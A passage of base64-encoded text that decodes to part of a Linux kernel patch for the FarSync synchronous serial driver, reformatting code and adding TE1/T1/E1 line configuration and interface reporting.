ZQorCQkJcG9ydC0+bW9kZSA9IEZTVF9HRU5fSERMQzsKKwl9CisKKwlpZiAoaW5mby0+dmFsaWQg JiBGU1RWQUxfQ0FCTEUpCisJCWVyciA9IC1FSU5WQUw7CisKKwlpZiAoaW5mby0+dmFsaWQgJiBG U1RWQUxfU1BFRUQpCisJCWVyciA9IC1FSU5WQUw7CiAKLSAgICAgICAgaWYgKCBpbmZvLT52YWxp ZCAmIEZTVFZBTF9NT0RFICkKLSAgICAgICAgICAgICAgICBGU1RfV1JXICggY2FyZCwgY2FyZE1v ZGUsIGluZm8tPmNhcmRNb2RlICk7CisJaWYgKGluZm8tPnZhbGlkICYgRlNUVkFMX1BIQVNFKQor CQlGU1RfV1JCKGNhcmQsIHBvcnRDb25maWdbcG9ydC0+aW5kZXhdLmludmVydENsb2NrLAorCQkJ aW5mby0+aW52ZXJ0Q2xvY2spOworCWlmIChpbmZvLT52YWxpZCAmIEZTVFZBTF9NT0RFKQorCQlG U1RfV1JXKGNhcmQsIGNhcmRNb2RlLCBpbmZvLT5jYXJkTW9kZSk7CisJaWYgKGluZm8tPnZhbGlk ICYgRlNUVkFMX1RFMSkgeworCQlGU1RfV1JMKGNhcmQsIHN1Q29uZmlnLmRhdGFSYXRlLCBpbmZv LT5saW5lU3BlZWQpOworCQlGU1RfV1JCKGNhcmQsIHN1Q29uZmlnLmNsb2NraW5nLCBpbmZvLT5j bG9ja1NvdXJjZSk7CisJCW15X2ZyYW1pbmcgPSBGUkFNSU5HX0UxOworCQlpZiAoaW5mby0+ZnJh bWluZyA9PSBFMSkKKwkJCW15X2ZyYW1pbmcgPSBGUkFNSU5HX0UxOworCQlpZiAoaW5mby0+ZnJh bWluZyA9PSBUMSkKKwkJCW15X2ZyYW1pbmcgPSBGUkFNSU5HX1QxOworCQlpZiAoaW5mby0+ZnJh bWluZyA9PSBKMSkKKwkJCW15X2ZyYW1pbmcgPSBGUkFNSU5HX0oxOworCQlGU1RfV1JCKGNhcmQs IHN1Q29uZmlnLmZyYW1pbmcsIG15X2ZyYW1pbmcpOworCQlGU1RfV1JCKGNhcmQsIHN1Q29uZmln LnN0cnVjdHVyZSwgaW5mby0+c3RydWN0dXJlKTsKKwkJRlNUX1dSQihjYXJkLCBzdUNvbmZpZy5p bnRlcmZhY2UsIGluZm8tPmludGVyZmFjZSk7CisJCUZTVF9XUkIoY2FyZCwgc3VDb25maWcuY29k aW5nLCBpbmZvLT5jb2RpbmcpOworCQlGU1RfV1JCKGNhcmQsIHN1Q29uZmlnLmxpbmVCdWlsZE91 dCwgaW5mby0+bGluZUJ1aWxkT3V0KTsKKwkJRlNUX1dSQihjYXJkLCBzdUNvbmZpZy5lcXVhbGl6 ZXIsIGluZm8tPmVxdWFsaXplcik7CisJCUZTVF9XUkIoY2FyZCwgc3VDb25maWcudHJhbnNwYXJl bnRNb2RlLCBpbmZvLT50cmFuc3BhcmVudE1vZGUpOworCQlGU1RfV1JCKGNhcmQsIHN1Q29uZmln Lmxvb3BNb2RlLCBpbmZvLT5sb29wTW9kZSk7CisJCUZTVF9XUkIoY2FyZCwgc3VDb25maWcucmFu Z2UsIGluZm8tPnJhbmdlKTsKKwkJRlNUX1dSQihjYXJkLCBzdUNvbmZpZy50eEJ1ZmZlck1vZGUs IGluZm8tPnR4QnVmZmVyTW9kZSk7CisJCUZTVF9XUkIoY2FyZCwgc3VDb25maWcucnhCdWZmZXJN b2RlLCBpbmZvLT5yeEJ1ZmZlck1vZGUpOworCQlGU1RfV1JCKGNhcmQsIHN1Q29uZmlnLnN0YXJ0 aW5nU2xvdCwgaW5mby0+c3RhcnRpbmdTbG90KTsKKwkJRlNUX1dSQihjYXJkLCBzdUNvbmZpZy5s b3NUaHJlc2hvbGQsIGluZm8tPmxvc1RocmVzaG9sZCk7CisJCWlmIChpbmZvLT5pZGxlQ29kZSkK KwkJCUZTVF9XUkIoY2FyZCwgc3VDb25maWcuZW5hYmxlSWRsZUNvZGUsIDEpOworCQllbHNlCisJ CQlGU1RfV1JCKGNhcmQsIHN1Q29uZmlnLmVuYWJsZUlkbGVDb2RlLCAwKTsKKwkJRlNUX1dSQihj YXJkLCBzdUNvbmZpZy5pZGxlQ29kZSwgaW5mby0+aWRsZUNvZGUpOworI2lmIEZTVF9ERUJVRwor CQlpZiAoaW5mby0+dmFsaWQgJiBGU1RWQUxfVEUxKSB7CisJCQlwcmludGsoIlNldHRpbmcgVEUx IGRhdGFcbiIpOworCQkJcHJpbnRrKCJMaW5lIFNwZWVkID0gJWRcbiIsIGluZm8tPmxpbmVTcGVl ZCk7CisJCQlwcmludGsoIlN0YXJ0IHNsb3QgPSAlZFxuIiwgaW5mby0+c3RhcnRpbmdTbG90KTsK KwkJCXByaW50aygiQ2xvY2sgc291cmNlID0gJWRcbiIsIGluZm8tPmNsb2NrU291cmNlKTsKKwkJ CXByaW50aygiRnJhbWluZyA9ICVkXG4iLCBteV9mcmFtaW5nKTsKKwkJCXByaW50aygiU3RydWN0 dXJlID0gJWRcbiIsIGluZm8tPnN0cnVjdHVyZSk7CisJCQlwcmludGsoImludGVyZmFjZSA9ICVk XG4iLCBpbmZvLT5pbnRlcmZhY2UpOworCQkJcHJpbnRrKCJDb2RpbmcgPSAlZFxuIiwgaW5mby0+ Y29kaW5nKTsKKwkJCXByaW50aygiTGluZSBidWlsZCBvdXQgPSAlZFxuIiwgaW5mby0+bGluZUJ1 aWxkT3V0KTsKKwkJCXByaW50aygiRXF1YWxpc2VyID0gJWRcbiIsIGluZm8tPmVxdWFsaXplcik7 CisJCQlwcmludGsoIlRyYW5zcGFyZW50IG1vZGUgPSAlZFxuIiwKKwkJCSAgICAgICBpbmZvLT50 cmFuc3BhcmVudE1vZGUpOworCQkJcHJpbnRrKCJMb29wIG1vZGUgPSAlZFxuIiwgaW5mby0+bG9v cE1vZGUpOworCQkJcHJpbnRrKCJSYW5nZSA9ICVkXG4iLCBpbmZvLT5yYW5nZSk7CisJCQlwcmlu dGsoIlR4IEJ1ZmZlciBtb2RlID0gJWRcbiIsIGluZm8tPnR4QnVmZmVyTW9kZSk7CisJCQlwcmlu dGsoIlJ4IEJ1ZmZlciBtb2RlID0gJWRcbiIsIGluZm8tPnJ4QnVmZmVyTW9kZSk7CisJCQlwcmlu dGsoIkxPUyBUaHJlc2hvbGQgPSAlZFxuIiwgaW5mby0+bG9zVGhyZXNob2xkKTsKKwkJCXByaW50 aygiSWRsZSBDb2RlID0gJWRcbiIsIGluZm8tPmlkbGVDb2RlKTsKKwkJfQorI2VuZGlmCisJfQog I2lmIEZTVF9ERUJVRwotICAgICAgICBpZiAoIGluZm8tPnZhbGlkICYgRlNUVkFMX0RFQlVHICkK LSAgICAgICAgICAgICAgICBmc3RfZGVidWdfbWFzayA9IGluZm8tPmRlYnVnOworCWlmIChpbmZv LT52YWxpZCAmIEZTVFZBTF9ERUJVRykgeworCQlmc3RfZGVidWdfbWFzayA9IGluZm8tPmRlYnVn OworCX0KICNlbmRpZgogCi0gICAgICAgIHJldHVybiBlcnI7CisJcmV0dXJuIGVycjsKIH0KIAog c3RhdGljIHZvaWQKLWdhdGhlcl9jb25mX2luZm8gKCBzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2Fy ZCwgc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQsCi0gICAgICAgICAgICAgICAgc3RydWN0IGZz dGlvY19pbmZvICppbmZvICkKK2dhdGhlcl9jb25mX2luZm8oc3RydWN0IGZzdF9jYXJkX2luZm8g KmNhcmQsIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0LAorCQkgc3RydWN0IGZzdGlvY19pbmZv ICppbmZvKQogewotICAgICAgICBpbnQgaTsKKwlpbnQgaTsKIAotICAgICAgICBtZW1zZXQgKCBp bmZvLCAwLCBzaXplb2YgKCBzdHJ1Y3QgZnN0aW9jX2luZm8gKSk7CisJbWVtc2V0KGluZm8sIDAs IHNpemVvZiAoc3RydWN0IGZzdGlvY19pbmZvKSk7CiAKLSAgICAgICAgaSA9IHBvcnQtPmluZGV4 OwotICAgICAgICBpbmZvLT5ucG9ydHMgPSBjYXJkLT5ucG9ydHM7Ci0gICAgICAgIGluZm8tPnR5 cGUgICA9IGNhcmQtPnR5cGU7Ci0gICAgICAgIGluZm8tPnN0YXRlICA9IGNhcmQtPnN0YXRlOwot ICAgICAgICBpbmZvLT5wcm90byAgPSBGU1RfR0VOX0hETEM7Ci0gICAgICAgIGluZm8tPmluZGV4 ICA9IGk7CisJaSA9IHBvcnQtPmluZGV4OworCWluZm8tPmtlcm5lbFZlcnNpb24gPSBMSU5VWF9W RVJTSU9OX0NPREU7CisJaW5mby0+bnBvcnRzID0gY2FyZC0+bnBvcnRzOworCWluZm8tPnR5cGUg PSBjYXJkLT50eXBlOworCWluZm8tPnN0YXRlID0gY2FyZC0+c3RhdGU7CisJaW5mby0+cHJvdG8g PSBGU1RfR0VOX0hETEM7CisJaW5mby0+aW5kZXggPSBpOwogI2lmIEZTVF9ERUJVRwotICAgICAg ICBpbmZvLT5kZWJ1ZyAgPSBmc3RfZGVidWdfbWFzazsKKwlpbmZvLT5kZWJ1ZyA9IGZzdF9kZWJ1 Z19tYXNrOwogI2VuZGlmCiAKLSAgICAgICAgLyogT25seSBtYXJrIGluZm9ybWF0aW9uIGFzIHZh bGlkIGlmIGNhcmQgaXMgcnVubmluZy4KLSAgICAgICAgICogQ29weSB0aGUgZGF0YSBhbnl3YXkg aW4gY2FzZSBpdCBpcyB1c2VmdWwgZm9yIGRpYWdub3N0aWNzCi0gICAgICAgICAqLwotICAgICAg ICBpbmZvLT52YWxpZAotICAgICAgICAgICAgICAgID0gKCggY2FyZC0+c3RhdGUgPT0gRlNUX1JV Tk5JTkcgKSA/IEZTVFZBTF9BTEwgOiBGU1RWQUxfQ0FSRCApCisJLyogT25seSBtYXJrIGluZm9y bWF0aW9uIGFzIHZhbGlkIGlmIGNhcmQgaXMgcnVubmluZy4KKwkgKiBDb3B5IHRoZSBkYXRhIGFu eXdheSBpbiBjYXNlIGl0IGlzIHVzZWZ1bCBmb3IgZGlhZ25vc3RpY3MKKwkgKi8KKwlpbmZvLT52 YWxpZCA9ICgoY2FyZC0+c3RhdGUgPT0gRlNUX1JVTk5JTkcpID8gRlNUVkFMX0FMTCA6IEZTVFZB TF9DQVJEKQogI2lmIEZTVF9ERUJVRwotICAgICAgICAgICAgICAgIHwgRlNUVkFMX0RFQlVHCisJ ICAgIHwgRlNUVkFMX0RFQlVHCiAjZW5kaWYKLSAgICAgICAgICAgICAgICA7CisJICAgIDsKIAot ICAgICAgICBpbmZvLT5saW5lSW50ZXJmYWNlID0gRlNUX1JEVyAoIGNhcmQsIHBvcnRDb25maWdb aV0ubGluZUludGVyZmFjZSApOwotICAgICAgICBpbmZvLT5pbnRlcm5hbENsb2NrID0gRlNUX1JE QiAoIGNhcmQsIHBvcnRDb25maWdbaV0uaW50ZXJuYWxDbG9jayApOwotICAgICAgICBpbmZvLT5s aW5lU3BlZWQgICAgID0gRlNUX1JETCAoIGNhcmQsIHBvcnRDb25maWdbaV0ubGluZVNwZWVkICk7 Ci0gICAgICAgIGluZm8tPnYyNElwU3RzICAgICAgPSBGU1RfUkRMICggY2FyZCwgdjI0SXBTdHNb aV0gKTsKLSAgICAgICAgaW5mby0+djI0T3BTdHMgICAgICA9IEZTVF9SREwgKCBjYXJkLCB2MjRP cFN0c1tpXSApOwotICAgICAgICBpbmZvLT5jbG9ja1N0YXR1cyAgID0gRlNUX1JEVyAoIGNhcmQs IGNsb2NrU3RhdHVzW2ldICk7Ci0gICAgICAgIGluZm8tPmNhYmxlU3RhdHVzICAgPSBGU1RfUkRX ICggY2FyZCwgY2FibGVTdGF0dXMgKTsKLSAgICAgICAgaW5mby0+Y2FyZE1vZGUgICAgICA9IEZT VF9SRFcgKCBjYXJkLCBjYXJkTW9kZSApOwotICAgICAgICBpbmZvLT5zbWNGaXJtd2FyZVZlcnNp b24gID0gRlNUX1JETCAoIGNhcmQsIHNtY0Zpcm13YXJlVmVyc2lvbiApOworCWluZm8tPmxpbmVJ bnRlcmZhY2UgPSBGU1RfUkRXKGNhcmQsIHBvcnRDb25maWdbaV0ubGluZUludGVyZmFjZSk7CisJ aW5mby0+aW50ZXJuYWxDbG9jayA9IEZTVF9SREIoY2FyZCwgcG9ydENvbmZpZ1tpXS5pbnRlcm5h bENsb2NrKTsKKwlpbmZvLT5saW5lU3BlZWQgPSBGU1RfUkRMKGNhcmQsIHBvcnRDb25maWdbaV0u bGluZVNwZWVkKTsKKwlpbmZvLT5pbnZlcnRDbG9jayA9IEZTVF9SREIoY2FyZCwgcG9ydENvbmZp Z1tpXS5pbnZlcnRDbG9jayk7CisJaW5mby0+djI0SXBTdHMgPSBGU1RfUkRMKGNhcmQsIHYyNElw U3RzW2ldKTsKKwlpbmZvLT52MjRPcFN0cyA9IEZTVF9SREwoY2FyZCwgdjI0T3BTdHNbaV0pOwor CWluZm8tPmNsb2NrU3RhdHVzID0gRlNUX1JEVyhjYXJkLCBjbG9ja1N0YXR1c1tpXSk7CisJaW5m by0+Y2FibGVTdGF0dXMgPSBGU1RfUkRXKGNhcmQsIGNhYmxlU3RhdHVzKTsKKwlpbmZvLT5jYXJk TW9kZSA9IEZTVF9SRFcoY2FyZCwgY2FyZE1vZGUpOworCWluZm8tPnNtY0Zpcm13YXJlVmVyc2lv biA9IEZTVF9SREwoY2FyZCwgc21jRmlybXdhcmVWZXJzaW9uKTsKKworCS8qCisJICogVGhlIFQy VSBjYW4gcmVwb3J0IGNhYmxlIHByZXNlbmNlIGZvciBib3RoIEEgb3IgQgorCSAqIGluIGJpdHMg MCBhbmQgMSBvZiBjYWJsZVN0YXR1cy4gIFNlZSB3aGljaCBwb3J0IHdlIGFyZSBhbmQgCisJICog ZG8gdGhlIG1hcHBpbmcuCisJICovCisJaWYgKGNhcmQtPmZhbWlseSA9PSBGU1RfRkFNSUxZX1RY VSkgeworCQlpZiAocG9ydC0+aW5kZXggPT0gMCkgeworCQkJLyoKKwkJCSAqIFBvcnQgQQorCQkJ ICovCisJCQlpbmZvLT5jYWJsZVN0YXR1cyA9IGluZm8tPmNhYmxlU3RhdHVzICYgMTsKKwkJfSBl bHNlIHsKKwkJCS8qCisJCQkgKiBQb3J0IEIKKwkJCSAqLworCQkJaW5mby0+Y2FibGVTdGF0dXMg PSBpbmZvLT5jYWJsZVN0YXR1cyA+PiAxOworCQkJaW5mby0+Y2FibGVTdGF0dXMgPSBpbmZvLT5j YWJsZVN0YXR1cyAmIDE7CisJCX0KKwl9CisJLyoKKwkgKiBTb21lIGFkZGl0aW9uYWwgYml0cyBp ZiB3ZSBhcmUgVEUxCisJICovCisJaWYgKGNhcmQtPnR5cGUgPT0gRlNUX1RZUEVfVEUxKSB7CisJ CWluZm8tPmxpbmVTcGVlZCA9IEZTVF9SREwoY2FyZCwgc3VDb25maWcuZGF0YVJhdGUpOworCQlp bmZvLT5jbG9ja1NvdXJjZSA9IEZTVF9SREIoY2FyZCwgc3VDb25maWcuY2xvY2tpbmcpOworCQlp bmZvLT5mcmFtaW5nID0gRlNUX1JEQihjYXJkLCBzdUNvbmZpZy5mcmFtaW5nKTsKKwkJaW5mby0+ c3RydWN0dXJlID0gRlNUX1JEQihjYXJkLCBzdUNvbmZpZy5zdHJ1Y3R1cmUpOworCQlpbmZvLT5p bnRlcmZhY2UgPSBGU1RfUkRCKGNhcmQsIHN1Q29uZmlnLmludGVyZmFjZSk7CisJCWluZm8tPmNv ZGluZyA9IEZTVF9SREIoY2FyZCwgc3VDb25maWcuY29kaW5nKTsKKwkJaW5mby0+bGluZUJ1aWxk T3V0ID0gRlNUX1JEQihjYXJkLCBzdUNvbmZpZy5saW5lQnVpbGRPdXQpOworCQlpbmZvLT5lcXVh bGl6ZXIgPSBGU1RfUkRCKGNhcmQsIHN1Q29uZmlnLmVxdWFsaXplcik7CisJCWluZm8tPmxvb3BN b2RlID0gRlNUX1JEQihjYXJkLCBzdUNvbmZpZy5sb29wTW9kZSk7CisJCWluZm8tPnJhbmdlID0g RlNUX1JEQihjYXJkLCBzdUNvbmZpZy5yYW5nZSk7CisJCWluZm8tPnR4QnVmZmVyTW9kZSA9IEZT VF9SREIoY2FyZCwgc3VDb25maWcudHhCdWZmZXJNb2RlKTsKKwkJaW5mby0+cnhCdWZmZXJNb2Rl ID0gRlNUX1JEQihjYXJkLCBzdUNvbmZpZy5yeEJ1ZmZlck1vZGUpOworCQlpbmZvLT5zdGFydGlu Z1Nsb3QgPSBGU1RfUkRCKGNhcmQsIHN1Q29uZmlnLnN0YXJ0aW5nU2xvdCk7CisJCWluZm8tPmxv c1RocmVzaG9sZCA9IEZTVF9SREIoY2FyZCwgc3VDb25maWcubG9zVGhyZXNob2xkKTsKKwkJaWYg KEZTVF9SREIoY2FyZCwgc3VDb25maWcuZW5hYmxlSWRsZUNvZGUpKQorCQkJaW5mby0+aWRsZUNv ZGUgPSBGU1RfUkRCKGNhcmQsIHN1Q29uZmlnLmlkbGVDb2RlKTsKKwkJZWxzZQorCQkJaW5mby0+ aWRsZUNvZGUgPSAwOworCQlpbmZvLT5yZWNlaXZlQnVmZmVyRGVsYXkgPQorCQkgICAgRlNUX1JE TChjYXJkLCBzdVN0YXR1cy5yZWNlaXZlQnVmZmVyRGVsYXkpOworCQlpbmZvLT5mcmFtaW5nRXJy b3JDb3VudCA9CisJCSAgICBGU1RfUkRMKGNhcmQsIHN1U3RhdHVzLmZyYW1pbmdFcnJvckNvdW50 KTsKKwkJaW5mby0+Y29kZVZpb2xhdGlvbkNvdW50ID0KKwkJICAgIEZTVF9SREwoY2FyZCwgc3VT dGF0dXMuY29kZVZpb2xhdGlvbkNvdW50KTsKKwkJaW5mby0+Y3JjRXJyb3JDb3VudCA9IEZTVF9S REwoY2FyZCwgc3VTdGF0dXMuY3JjRXJyb3JDb3VudCk7CisJCWluZm8tPmxpbmVBdHRlbnVhdGlv biA9IEZTVF9SREwoY2FyZCwgc3VTdGF0dXMubGluZUF0dGVudWF0aW9uKTsKKwkJaW5mby0+bG9z c09mU2lnbmFsID0gRlNUX1JEQihjYXJkLCBzdVN0YXR1cy5sb3NzT2ZTaWduYWwpOworCQlpbmZv LT5yZWNlaXZlUmVtb3RlQWxhcm0gPQorCQkgICAgRlNUX1JEQihjYXJkLCBzdVN0YXR1cy5yZWNl aXZlUmVtb3RlQWxhcm0pOworCQlpbmZvLT5hbGFybUluZGljYXRpb25TaWduYWwgPQorCQkgICAg RlNUX1JEQihjYXJkLCBzdVN0YXR1cy5hbGFybUluZGljYXRpb25TaWduYWwpOworCX0KIH0KIAot CiBzdGF0aWMgaW50Ci1mc3Rfc2V0X2lmYWNlICggc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQs IHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0LAotICAgICAgICAgICAgICAgIHN0cnVjdCBpZnJl cSAqaWZyICkKK2ZzdF9zZXRfaWZhY2Uoc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQsIHN0cnVj dCBmc3RfcG9ydF9pbmZvICpwb3J0LAorCSAgICAgIHN0cnVjdCBpZnJlcSAqaWZyKQogewotICAg ICAgICBzeW5jX3NlcmlhbF9zZXR0aW5ncyBzeW5jOwotICAgICAgICBpbnQgaTsKKwlzeW5jX3Nl cmlhbF9zZXR0aW5ncyBzeW5jOworCWludCBpOworCisJaWYgKGlmci0+aWZyX3NldHRpbmdzLnNp emUgIT0gc2l6ZW9mIChzeW5jKSkgeworCQlyZXR1cm4gLUVOT01FTTsKKwl9CisKKwlpZiAoY29w eV9mcm9tX3VzZXIKKwkgICAgKCZzeW5jLCBpZnItPmlmcl9zZXR0aW5ncy5pZnNfaWZzdS5zeW5j LCBzaXplb2YgKHN5bmMpKSkgeworCQlyZXR1cm4gLUVGQVVMVDsKKwl9CiAKLSAgICAgICAgaWYg KGNvcHlfZnJvbV91c2VyICgmc3luYywgaWZyLT5pZnJfc2V0dGluZ3MuaWZzX2lmc3Uuc3luYywK LQkJCSAgICBzaXplb2YgKHN5bmMpKSkKLSAgICAgICAgICAgICAgICByZXR1cm4gLUVGQVVMVDsK LQotICAgICAgICBpZiAoIHN5bmMubG9vcGJhY2sgKQotICAgICAgICAgICAgICAgIHJldHVybiAt RUlOVkFMOwotCi0gICAgICAgIGkgPSBwb3J0LT5pbmRleDsKLQotICAgICAgICBzd2l0Y2ggKGlm ci0+aWZyX3NldHRpbmdzLnR5cGUpCi0gICAgICAgIHsKLSAgICAgICAgY2FzZSBJRl9JRkFDRV9W MzU6Ci0gICAgICAgICAgICAgICAgRlNUX1dSVyAoIGNhcmQsIHBvcnRDb25maWdbaV0ubGluZUlu dGVyZmFjZSwgVjM1ICk7Ci0gICAgICAgICAgICAgICAgcG9ydC0+aHdpZiA9IFYzNTsKLSAgICAg ICAgICAgICAgICBicmVhazsKLQotICAgICAgICBjYXNlIElGX0lGQUNFX1YyNDoKLSAgICAgICAg ICAgICAgICBGU1RfV1JXICggY2FyZCwgcG9ydENvbmZpZ1tpXS5saW5lSW50ZXJmYWNlLCBWMjQg KTsKLSAgICAgICAgICAgICAgICBwb3J0LT5od2lmID0gVjI0OwotICAgICAgICAgICAgICAgIGJy ZWFrOwotCi0gICAgICAgIGNhc2UgSUZfSUZBQ0VfWDIxOgotICAgICAgICAgICAgICAgIEZTVF9X UlcgKCBjYXJkLCBwb3J0Q29uZmlnW2ldLmxpbmVJbnRlcmZhY2UsIFgyMSApOwotICAgICAgICAg ICAgICAgIHBvcnQtPmh3aWYgPSBYMjE7Ci0gICAgICAgICAgICAgICAgYnJlYWs7Ci0KLSAgICAg ICAgY2FzZSBJRl9JRkFDRV9TWU5DX1NFUklBTDoKLSAgICAgICAgICAgICAgICBicmVhazsKLQot ICAgICAgICBkZWZhdWx0OgotICAgICAgICAgICAgICAgIHJldHVybiAtRUlOVkFMOwotICAgICAg ICB9Ci0KLSAgICAgICAgc3dpdGNoICggc3luYy5jbG9ja190eXBlICkKLSAgICAgICAgewotICAg ICAgICBjYXNlIENMT0NLX0VYVDoKLSAgICAgICAgICAgICAgICBGU1RfV1JCICggY2FyZCwgcG9y dENvbmZpZ1tpXS5pbnRlcm5hbENsb2NrLCBFWFRDTEsgKTsKLSAgICAgICAgICAgICAgICBicmVh azsKLQotICAgICAgICBjYXNlIENMT0NLX0lOVDoKLSAgICAgICAgICAgICAgICBGU1RfV1JCICgg Y2FyZCwgcG9ydENvbmZpZ1tpXS5pbnRlcm5hbENsb2NrLCBJTlRDTEsgKTsKLSAgICAgICAgICAg ICAgICBicmVhazsKLQotICAgICAgICBkZWZhdWx0OgotICAgICAgICAgICAgICAgIHJldHVybiAt RUlOVkFMOwotICAgICAgICB9Ci0gICAgICAgIEZTVF9XUkwgKCBjYXJkLCBwb3J0Q29uZmlnW2ld LmxpbmVTcGVlZCwgc3luYy5jbG9ja19yYXRlICk7Ci0gICAgICAgIHJldHVybiAwOworCWlmIChz eW5jLmxvb3BiYWNrKQorCQlyZXR1cm4gLUVJTlZBTDsKKworCWkgPSBwb3J0LT5pbmRleDsKKwor CXN3aXRjaCAoaWZyLT5pZnJfc2V0dGluZ3MudHlwZSkgeworCWNhc2UgSUZfSUZBQ0VfVjM1Ogor CQlGU1RfV1JXKGNhcmQsIHBvcnRDb25maWdbaV0ubGluZUludGVyZmFjZSwgVjM1KTsKKwkJcG9y dC0+aHdpZiA9IFYzNTsKKwkJYnJlYWs7CisKKwljYXNlIElGX0lGQUNFX1YyNDoKKwkJRlNUX1dS VyhjYXJkLCBwb3J0Q29uZmlnW2ldLmxpbmVJbnRlcmZhY2UsIFYyNCk7CisJCXBvcnQtPmh3aWYg PSBWMjQ7CisJCWJyZWFrOworCisJY2FzZSBJRl9JRkFDRV9YMjE6CisJCUZTVF9XUlcoY2FyZCwg cG9ydENvbmZpZ1tpXS5saW5lSW50ZXJmYWNlLCBYMjEpOworCQlwb3J0LT5od2lmID0gWDIxOwor CQlicmVhazsKKworCWNhc2UgSUZfSUZBQ0VfWDIxRDoKKwkJRlNUX1dSVyhjYXJkLCBwb3J0Q29u ZmlnW2ldLmxpbmVJbnRlcmZhY2UsIFgyMUQpOworCQlwb3J0LT5od2lmID0gWDIxRDsKKwkJYnJl YWs7CisKKwljYXNlIElGX0lGQUNFX1QxOgorCQlGU1RfV1JXKGNhcmQsIHBvcnRDb25maWdbaV0u bGluZUludGVyZmFjZSwgVDEpOworCQlwb3J0LT5od2lmID0gVDE7CisJCWJyZWFrOworCisJY2Fz ZSBJRl9JRkFDRV9FMToKKwkJRlNUX1dSVyhjYXJkLCBwb3J0Q29uZmlnW2ldLmxpbmVJbnRlcmZh Y2UsIEUxKTsKKwkJcG9ydC0+aHdpZiA9IEUxOworCQlicmVhazsKKworCWNhc2UgSUZfSUZBQ0Vf U1lOQ19TRVJJQUw6CisJCWJyZWFrOworCisJZGVmYXVsdDoKKwkJcmV0dXJuIC1FSU5WQUw7CisJ fQorCisJc3dpdGNoIChzeW5jLmNsb2NrX3R5cGUpIHsKKwljYXNlIENMT0NLX0VYVDoKKwkJRlNU X1dSQihjYXJkLCBwb3J0Q29uZmlnW2ldLmludGVybmFsQ2xvY2ssIEVYVENMSyk7CisJCWJyZWFr OworCisJY2FzZSBDTE9DS19JTlQ6CisJCUZTVF9XUkIoY2FyZCwgcG9ydENvbmZpZ1tpXS5pbnRl cm5hbENsb2NrLCBJTlRDTEspOworCQlicmVhazsKKworCWRlZmF1bHQ6CisJCXJldHVybiAtRUlO VkFMOworCX0KKwlGU1RfV1JMKGNhcmQsIHBvcnRDb25maWdbaV0ubGluZVNwZWVkLCBzeW5jLmNs b2NrX3JhdGUpOworCXJldHVybiAwOwogfQogCiBzdGF0aWMgaW50Ci1mc3RfZ2V0X2lmYWNlICgg c3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQsIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0LAot ICAgICAgICAgICAgICAgIHN0cnVjdCBpZnJlcSAqaWZyICkKK2ZzdF9nZXRfaWZhY2Uoc3RydWN0 IGZzdF9jYXJkX2luZm8gKmNhcmQsIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0LAorCSAgICAg IHN0cnVjdCBpZnJlcSAqaWZyKQogewotICAgICAgICBzeW5jX3NlcmlhbF9zZXR0aW5ncyBzeW5j OwotICAgICAgICBpbnQgaTsKKwlzeW5jX3NlcmlhbF9zZXR0aW5ncyBzeW5jOworCWludCBpOwor CisJLyogRmlyc3QgY2hlY2sgd2hhdCBsaW5lIHR5cGUgaXMgc2V0LCB3ZSdsbCBkZWZhdWx0IHRv IHJlcG9ydGluZyBYLjIxCisJICogaWYgbm90aGluZyBpcyBzZXQgYXMgSUZfSUZBQ0VfU1lOQ19T RVJJQUwgaW1wbGllcyBpdCBjYW4ndCBiZQorCSAqIGNoYW5nZWQKKwkgKi8KKwlzd2l0Y2ggKHBv cnQtPmh3aWYpIHsKKwljYXNlIEUxOgorCQlpZnItPmlmcl9zZXR0aW5ncy50eXBlID0gSUZfSUZB Q0VfRTE7CisJCWJyZWFrOworCWNhc2UgVDE6CisJCWlmci0+aWZyX3NldHRpbmdzLnR5cGUgPSBJ Rl9JRkFDRV9UMTsKKwkJYnJlYWs7CisJY2FzZSBWMzU6CisJCWlmci0+aWZyX3NldHRpbmdzLnR5 cGUgPSBJRl9JRkFDRV9WMzU7CisJCWJyZWFrOworCWNhc2UgVjI0OgorCQlpZnItPmlmcl9zZXR0 aW5ncy50eXBlID0gSUZfSUZBQ0VfVjI0OworCQlicmVhazsKKwljYXNlIFgyMUQ6CisJCWlmci0+ aWZyX3NldHRpbmdzLnR5cGUgPSBJRl9JRkFDRV9YMjFEOworCQlicmVhazsKKwljYXNlIFgyMToK KwlkZWZhdWx0OgorCQlpZnItPmlmcl9zZXR0aW5ncy50eXBlID0gSUZfSUZBQ0VfWDIxOworCQli cmVhazsKKwl9CisJaWYgKGlmci0+aWZyX3NldHRpbmdzLnNpemUgPT0gMCkgeworCQlyZXR1cm4g MDsJLyogb25seSB0eXBlIHJlcXVlc3RlZCAqLworCX0KKwlpZiAoaWZyLT5pZnJfc2V0dGluZ3Mu c2l6ZSA8IHNpemVvZiAoc3luYykpIHsKKwkJcmV0dXJuIC1FTk9NRU07CisJfQogCi0gICAgICAg IC8qIEZpcnN0IGNoZWNrIHdoYXQgbGluZSB0eXBlIGlzIHNldCwgd2UnbGwgZGVmYXVsdCB0byBy ZXBvcnRpbmcgWC4yMQotICAgICAgICAgKiBpZiBub3RoaW5nIGlzIHNldCBhcyBJRl9JRkFDRV9T WU5DX1NFUklBTCBpbXBsaWVzIGl0IGNhbid0IGJlCi0gICAgICAgICAqIGNoYW5nZWQKLSAgICAg ICAgICovCi0gICAgICAgIHN3aXRjaCAoIHBvcnQtPmh3aWYgKQotICAgICAgICB7Ci0gICAgICAg IGNhc2UgVjM1OgotICAgICAgICAgICAgICAgIGlmci0+aWZyX3NldHRpbmdzLnR5cGUgPSBJRl9J RkFDRV9WMzU7Ci0gICAgICAgICAgICAgICAgYnJlYWs7Ci0gICAgICAgIGNhc2UgVjI0OgotICAg ICAgICAgICAgICAgIGlmci0+aWZyX3NldHRpbmdzLnR5cGUgPSBJRl9JRkFDRV9WMjQ7Ci0gICAg ICAgICAgICAgICAgYnJlYWs7Ci0gICAgICAgIGNhc2UgWDIxOgotICAgICAgICBkZWZhdWx0Ogot ICAgICAgICAgICAgICAgIGlmci0+aWZyX3NldHRpbmdzLnR5cGUgPSBJRl9JRkFDRV9YMjE7Ci0g 